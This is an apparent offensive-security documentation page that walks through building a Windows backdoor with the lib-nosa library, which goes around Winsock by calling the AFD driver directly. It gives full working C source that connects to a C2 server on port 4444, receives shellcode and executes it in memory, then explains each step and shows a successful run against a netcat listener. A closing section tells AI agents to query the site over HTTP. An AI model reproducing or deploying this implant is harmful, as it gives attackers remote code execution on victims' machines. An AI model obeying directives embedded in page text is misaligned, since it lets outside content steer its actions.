# Building Backdoors with Alternative Socket with lib-nosa (No Socket API)

**lib-nosa** is a minimalist C library designed to facilitate socket connections through AFD driver IOCTL operations on Windows. By bypassing the traditional `winsock2.h -> (ws2_dll.dll)` header, **lib-nosa** directly interacts with the internal socket APIs of the AFD (Ancillary Function Driver for WinSock), offering developers a lightweight and low-level alternative for network programming.

Created by [ViperX](https://viperx.io/) Team

**Repository:** <https://github.com/ViperXSecurity/lib-nosa>

### Features

* Establishes socket connections directly through AFD driver IOCTL calls, **bypassing** the standard Winsock2 interface.
* Focuses on simplicity and performance, with a small footprint and no unnecessary dependencies.
* Provides direct access to internal socket APIs, giving developers fine-grained control over network operations.
* Avoids the overhead and abstraction of the Winsock2 API, making it ideal for performance-critical applications.

## Building a Simple Backdoor with `lib-nosa`

Creating a simple backdoor using the `lib-nosa` library. We'll explore the core functions provided by `lib-nosa`, understand their purposes, and see how they integrate to establish a connection, send and receive data, and execute received shellcode.

### Overview

The backdoor's primary function is to connect to a Command and Control (C2) server, signal its readiness, receive a shellcode payload, and execute it. Here's the high-level flow:

1. **Establish Connection**: Connect to the C2 server using the specified IP and port.
2. **Allocate Memory**: Reserve memory to store the incoming shellcode.
3. **Signal Readiness**: Inform the server that the client is ready to receive the shellcode.
4. **Receive Shellcode**: Receive the shellcode from the server.
5. **Execute Shellcode**: Change memory permissions to executable and run the shellcode.
6. **Cleanup**: Release allocated resources.

Let's delve into each step, examining the code and the underlying `lib-nosa` APIs.

### The Code

```c
#include "nosa.h"

#define MAX_RECV_BYTES 4096  // Adjust this to a reasonable value based on expected shellcode size

/**
 * A simple backdoor that connects to a specified host and port, receives a shellcode binary,
 * allocates memory, writes the shellcode, and executes it.
 *
 * @returns 0 upon successful execution
 */
int main()
{
    HANDLE hSocket = NULL;
    NTSTATUS Status = 0;
    const char* socketType = "TCP";
    const char* host = "192.168.15.32";  // Command and Control (C2) server IP
    int port = 4444;                     // C2 server port

    SIZE_T totalBytesReceived = 0;
    LPVOID pktRecv = NULL;
    DWORD oldProtect;
    int (*func)();

    // Connect to the remote host
    Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
    if (Status != 0 || hSocket == NULL) {
        fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
        return 1;
    }
    printf("Connected to %s:%d\n", host, port);

    // Allocate a buffer for receiving the shellcode with read/write permissions
    pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pktRecv == NULL) {
        fprintf(stderr, "Failed to allocate memory for receiving data.\n");
        afd_close(hSocket);
        return 1;
    }
    memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory

    // Send a signal to the server that the client is ready to receive shellcode
    const char* readyMsg = "READY";
    Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
    if (Status != 0) {
        fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Receive the shellcode using nosa_recv API
    Status = nosa_recv(hSocket, pktRecv);
    if (Status <= 0) {  // Adjust based on the return value interpretation
        fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received

    // Change the memory protection to Read/Execute
    if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
        fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Execute the shellcode
    func = (int(*)())pktRecv;
    printf("Executing received shellcode...\n");
    func();

    // Clean up
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);

    return 0;
}
```

### Code Run

<figure><img src="/files/xW4ZFLEi4oQ1AUsQuikj" alt=""><figcaption><p>"Compiling <code>nosa-rev11.c</code> with <code>x86_64-w64-mingw32-gcc</code> </p></figcaption></figure>

<figure><img src="/files/I02eYgD0fHkDL0TQ5MTN" alt=""><figcaption><p>"Netcat is used to listen on port 4444 and receives a connection from IP 192.168.15.7, with 322 bytes sent and 5 bytes received."</p></figcaption></figure>

<figure><img src="/files/6UoQg4P4mNWkMPGhbLWW" alt=""><figcaption><p>"Execution of <code>nosa-rev11.exe</code> shows successful socket creation and connection to 192.168.15.32:4444, with a detailed hex dump of the data sent."</p></figcaption></figure>

### Detailed Breakdown

#### 1. Establishing a Connection

**Function Used**: `nosa_connect`

```c
Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
if (Status != 0 || hSocket == NULL) {
    fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
    return 1;
}
printf("Connected to %s:%d\n", host, port);
```

**`nosa_connect` Function**

```c
NTSTATUS nosa_connect(HANDLE* hSocket, char* host, int port, char* socketType)
```

* **Purpose**: Establishes a connection to a specified host and port using the desired socket type (e.g., TCP or UDP).
* **Parameters**:
  * `hSocket`: A pointer to a `HANDLE` where the function will store the created socket handle upon successful connection.
  * `host`: The target hostname or IP address.
  * `port`: The target port number.
  * `socketType`: The type of socket to use (`"TCP"` or `"UDP"`).
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* The function initializes and creates a socket based on the provided `socketType`.
* It resolves the `host` to an IP address, possibly using `nosa_dns_lookup` if a domain name is provided.
* It then attempts to establish a connection to the specified `host` and `port`.
* Upon success, it stores the socket handle in `hSocket`.

#### 2. Allocating Memory

```c
pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pktRecv == NULL) {
    fprintf(stderr, "Failed to allocate memory for receiving data.\n");
    afd_close(hSocket);
    return 1;
}
memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory
```

**Explanation**:

* Uses the Windows API `VirtualAlloc` to reserve a memory region of size `MAX_RECV_BYTES` (4096 bytes in this case) with read/write permissions.
* This memory will store the incoming shellcode.
* `memset` ensures the allocated memory is zeroed out to prevent any residual data.

#### 3. Signaling Readiness

**Function Used**: `nosa_send`

```c
const char* readyMsg = "READY";
Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
if (Status != 0) {
    fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}
```

**`nosa_send` Function**

```c
NTSTATUS nosa_send(HANDLE* hSocket, LPVOID packet_data, int packet_data_sz)
```

* **Purpose**: Sends data over an established socket connection.
* **Parameters**:
  * `hSocket`: Pointer to the socket handle over which data will be sent.
  * `packet_data`: Pointer to the data buffer to be sent.
  * `packet_data_sz`: Size of the data buffer in bytes.
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* Sends the string `"READY"` to the server, indicating that the client is prepared to receive the shellcode.
* Ensures that the entire message is sent successfully.

#### 4. Receiving the Shellcode

**Function Used**: `nosa_recv`

```c
Status = nosa_recv(hSocket, pktRecv);
if (Status <= 0) {
    fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received
```

**`nosa_recv` Function**

```c
NTSTATUS nosa_recv(HANDLE hSocket, LPVOID packet_data_received)
```

* **Purpose**: Receives data from an established socket connection.
* **Parameters**:
  * `hSocket`: The socket handle from which data will be received.
  * `packet_data_received`: Pointer to the buffer where the received data will be stored.
* **Return Value**: Returns the number of bytes received or an `NTSTATUS` code indicating an error.

**Explanation**:

* Receives data from the server, which should be the shellcode payload.
* Checks if the received byte count is greater than zero to ensure data was received successfully.
* The received data is stored in the previously allocated `pktRecv` buffer.

#### 5. Executing the Shellcode

```c
if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
    fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

// Execute the shellcode
func = (int(*)())pktRecv;
printf("Executing received shellcode...\n");
func();
```

**Explanation**:

* **Changing Memory Permissions**: Uses `VirtualProtect` to modify the memory permissions of the `pktRecv` buffer, allowing it to be executable.
  * Changes from `PAGE_READWRITE` to `PAGE_EXECUTE_READ`.
  * Stores the old protection settings in `oldProtect` (useful for restoring later if needed).
* **Executing the Shellcode**:
  * Casts the `pktRecv` buffer to a function pointer `func`.
  * Invokes `func()`, executing the shellcode.

**Safety Note**: Executing arbitrary shellcode can be extremely dangerous. Ensure that the shellcode is from a trusted source and that testing occurs in a controlled environment.

#### 6. Cleanup

```c
VirtualFree(pktRecv, 0, MEM_RELEASE);
afd_close(hSocket);
```

**Explanation**:

* **Memory Release**: Frees the allocated memory for `pktRecv` using `VirtualFree`.
* **Socket Closure**: Closes the established socket connection using `afd_close`.

### Understanding Additional `lib-nosa` APIs

#### `nosa_dns_lookup`

```c
NTSTATUS nosa_dns_lookup(HANDLE hSocket, const char* domain_name, DOMAIN_INFO* outBuffer)
```

* **Purpose**: Resolves a domain name to its corresponding IP address.
* **Parameters**:
  * `hSocket`: A socket handle used for the DNS query.
  * `domain_name`: The domain name to resolve (e.g., "example.com").
  * `outBuffer`: A pointer to a `DOMAIN_INFO` structure where the resolved IP address and related information will be stored.
* **Return Value**: Returns an `NTSTATUS` code indicating success or failure.

**Explanation**:

* This function is essential when the `host` parameter in `nosa_connect` is provided as a domain name rather than an IP address.
* It performs a DNS lookup to retrieve the IP address associated with the given domain.
* The resolved information is stored in the `outBuffer`, which can then be used for establishing connections.

#### `afd_close`

While not explicitly defined in the provided context, `afd_close` appears to be a function responsible for closing the socket handle.

**Assumed Function Signature**:

```c
void afd_close(HANDLE hSocket)
```

* **Purpose**: Closes an established socket connection.
* **Parameters**:
  * `hSocket`: The socket handle to be closed.
* **Explanation**: Ensures that the socket resources are properly released, preventing resource leaks.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/windows-internals-and-api/building-backdoors-with-alternative-socket-with-lib-nosa-no-socket-api.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
